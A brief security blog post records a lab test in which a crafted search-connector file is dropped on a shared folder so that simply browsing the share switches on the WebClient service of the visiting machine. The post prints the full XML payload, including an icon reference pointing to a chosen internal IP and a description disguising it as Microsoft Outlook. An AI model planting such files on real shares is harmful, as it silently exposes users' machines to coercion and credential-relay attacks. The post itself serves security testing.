webclient_activation

by | Jan 25, 2022 | Security | 0 comments

Reading Time: < 1 minute

Following reading an article from @CyberWarship : https://twitter.com/CyberWarship/status/1485623439633362946

The following test was done in my lab.

in a share that users are connected on, create a file called “Documents.searchConnector-ms”

In this file place the following content :

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>https://192.168.16.11/0001.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://www.bussink.net/</url>
    </simpleLocation>
</searchConnectorDescription>

In bold, the values can be changed.

Browsing simply to that share will trigger the activation of the webclient service

I’ve scanned before and after the browsing to that share

0